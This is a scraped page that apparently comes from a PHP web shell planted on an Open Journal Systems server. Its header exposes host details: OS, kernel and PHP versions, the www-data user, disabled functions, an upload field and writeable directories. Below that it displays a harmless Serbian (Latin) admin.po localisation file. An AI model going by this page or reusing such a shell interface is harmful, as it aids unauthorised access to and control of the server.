KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/sr_RS@latin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/locale/sr_RS@latin/admin.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"Last-Translator: \n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"POT-Creation-Date: 2019-11-19T10:49:33+00:00\n"
"PO-Revision-Date: 2019-11-19T10:49:33+00:00\n"
"Language: \n"

msgid "admin.hostedContexts"
msgstr "Izdanja"

msgid "admin.settings.redirect"
msgstr "Redirekcija časopisa"

msgid "admin.settings.redirectInstructions"
msgstr "Pristup sajtu će biti preusmeren na časopis. Ovo može biti korisno ako hostujete samo jedan časopis."

msgid "admin.languages.primaryLocaleInstructions"
msgstr "Ovo će biti primarni jezik za sajt za sve časopise."

msgid "admin.languages.supportedLocalesInstructions"
msgstr "Odaberite lokalizacije koje želite da podržite na sajtu. One će biti dostupne za sve časopise i prikazivaće se u meniju za odabir jezika. Ukoliko ne odaberete ni jedan dodatni jezik meni za izbor jezika se neće prikazivati."

msgid "admin.locale.maybeIncomplete"
msgstr "Markirane lokalizacije nisu kompletne."

msgid "admin.languages.confirmUninstall"
msgstr "Da li ste sigurni da želite da obrišete lokalizaciju? Ovo može uticati na časopise koji se nalaze u sistemu i koriste tu lokalizaciju."

msgid "admin.languages.installNewLocalesInstructions"
msgstr "Odaberite dodatne lokalizacije koje želite da instalirate.Pogledajte OJS dokumentaciju za više informacija kako da obezbedite podršku za nove jezike."

msgid "admin.languages.downloadFailed"
msgstr "Preuzimanje lokalizacije nije uspelo. Poruka o greškama niže objašnjava razloge."

msgid "admin.languages.localeInstalled"
msgstr "\"{$locale}\" lokalizacija je instalirana."

msgid "admin.languages.download"
msgstr "Preuzmi lokalizaciju"

msgid "admin.languages.download.cannotOpen"
msgstr "Ne mogu da otvorim deskriptor jezika sa PKP web sajta."

msgid "admin.languages.download.cannotModifyRegistry"
msgstr "Ne mogu da dodam novu lokalizaciju u lokalni registry fajl, obično \"registry/locales.xml\"."

msgid "admin.auth.ojs"
msgstr "OJS korisnička baza podataka"

msgid "admin.auth.enableSyncProfiles"
msgstr "Uključi sinhronizaciju korisničkih profila (ukoliko je podržano dodatkom za autentifikaciju). Informacije o korisničkim profilima biće automatski sinhronizovane sa udaljenim izvorom kada se korisnik prijavi, a profil promeni."

msgid "admin.auth.enableSyncPasswords"
msgstr "Omogući modifikacije lozinki korisnika (ukoliko je poržano dodatkom za autentifikaciju). Uključivanjem ovog dodatka korisnici će moći da modifikuu svoje lozinke i koriste servis \"izgubljena lozinka\"."

msgid "admin.auth.enableCreateUsers"
msgstr "Uključi kreiranje korisnika (ukoliko je podržano dodatkom za autentifikaciju). Korisnici koji su kreirani pomoću ovog izvora autentifikacije automatski će se kreirati i na udaljenom serveru."

msgid "admin.systemVersion"
msgstr "OJS verzija"

msgid "admin.systemConfiguration"
msgstr "OJS konfiguracija"

msgid "admin.systemConfigurationDescription"
msgstr "OJS konfiguracija iz <tt>config.inc.php</tt>."

msgid "admin.journals.journalSettings"
msgstr "Podešavanja časopisa"

msgid "admin.journals.noneCreated"
msgstr "Nema kreiranih časopisa."

msgid "admin.contexts.confirmDelete"
msgstr "Da li ste sigurni da želite trajno obrisati ovaj časopis i njeov sadržaj?"

msgid "admin.contexts.create"
msgstr "Napravi časopis"

msgid "admin.journals.createInstructions"
msgstr "Automatski ćete biti dodeljeni časopisu kao menadžer. Nakon što napravite novi časopis, pristupite mu kao menadžer kako biste završili podešavanja i dodeljivanje uloga."

msgid "admin.journals.urlWillBe"
msgstr "Ovo bi trebala da bude jedna kratka reč ili akronim koji identifikuje časopis. URL časopisa će biti {$sampleUrl}"

msgid "admin.contexts.form.pathRequired"
msgstr "Putanja je obavezna."

msgid "admin.contexts.form.pathAlphaNumeric"
msgstr "Putanja može da sadrži samo alfanumeričke karaktere, podvlake i crtice i mora počinjati i završavati sa alfanumeričkim karakterom"

msgid "admin.contexts.form.pathExists"
msgstr "Data putanja se već koristi za drugi časopis."

msgid "admin.journals.enableJournalInstructions"
msgstr "Dozvoli da se časopis javno prikazuje na sajtu"

msgid "admin.contexts.contextDescription"
msgstr "Opis časopisa"

msgid "admin.journal.pathImportInstructions"
msgstr "Postojeća putanja ili putanja za kreiranje (npr. \"ojs\")."

msgid "admin.journals.importSubscriptions"
msgstr "Uvezi pretplate"

msgid "admin.journals.transcode"
msgstr "Prepiši metapodatke članaka iz ISO8859-1"

msgid "admin.journals.redirect"
msgstr "Generiši kod za mapiranje OJS 1 URL-ove u OJS 2 URL-ove"

msgid "admin.journals.form.importPathRequired"
msgstr "Putanja za uvoz je obavezna."

msgid "admin.journals.importErrors"
msgstr "Uvoz nije uspešno završen"

msgid "admin.mergeUsers"
msgstr "Spoji korisnike"

msgid "admin.mergeUsers.mergeUser"
msgstr "Spoji korisnika"

msgid "admin.mergeUsers.into.description"
msgstr "Odaberi korisnika kojem će se pripisati autorstva, zaduženja i ostvareni radovi prethodnog korisnika."

msgid "admin.mergeUsers.from.description"
msgstr "Odaberi korisnika ili više njih koji će se spojiti u novi korisnički nalog. Svi atributi korisnika pripisaće se drugom nalogu."

msgid "admin.mergeUsers.allUsers"
msgstr "Svi korisnici koji imaju uloge"

msgid "admin.mergeUsers.confirm"
msgstr "Da li ste sigurni da želite da spojite korisničke naloge {$oldAccountCount} u nalog sa korisničkim imenom \"{$newUsername}\"? odabrani nalozi {$oldAccountCount} više neće postojati."

msgid "admin.mergeUsers.noneEnrolled"
msgstr "Nema korisnika sa dodeljenim ulogama."

msgid "admin.settings.defaultMetricDescription"
msgstr "Vaša OJS instalacija je konfigurisana da može sačuvati rezultate jednog ili više načina merenja upotrebe. Statistika upotrebe će biti prikazana u nekoliko konteksta. U slučajevima kad mora biti upotrebljen samo jedan način merenja, npr. da bi se prikazala lista najčešće upotrebljenih članak ili za rangiranje rezultata pretrage.  Odaberite jedan od podešenih merenja kao pretpostavljen."

msgid "admin.languages.confirmDisable"
msgstr "Da li ste sigurni da želite da onemogućite ovu lokalizaciju? Ovo će uticati na časopise koji ju koriste."

msgid "admin.contexts.form.titleRequired"
msgstr "Naslov je obavezan."

msgid "admin.scheduledTask.subscriptionExpiryReminder"
msgstr "Podsetnik o isteku pretplate"

msgid "admin.scheduledTask.openAccessNotification"
msgstr "Obaveštenje o Otvorenom pristupu"

msgid "admin.scheduledTask.reviewReminder"
msgstr "Podsetnik o recenziji"

msgid "admin.languages.downloadUnavailable"
msgstr ""
"<p>Nije trenutno moguće preuzeti pakete za prevode sa servera Public Knowledge Project је:</p>\n"
"\t<ul>\n"
"\t\t<li> Vaš server ne dozvoljava izvršenje GNU \"tar\" alata.</li><li>OJS  nije u mogućnosti da modifikuje lokalni registarski fajl \"registry/locales.xml\".</li>\n"
"\t</ul>\n"
"<p> Paketi prevod na jezik mogu da se preuzmu ručno sa<a href=\"http://pkp.sfu.ca\">PKP web sajta</a>.</p>"

KUNTUL | JINGKONTOT |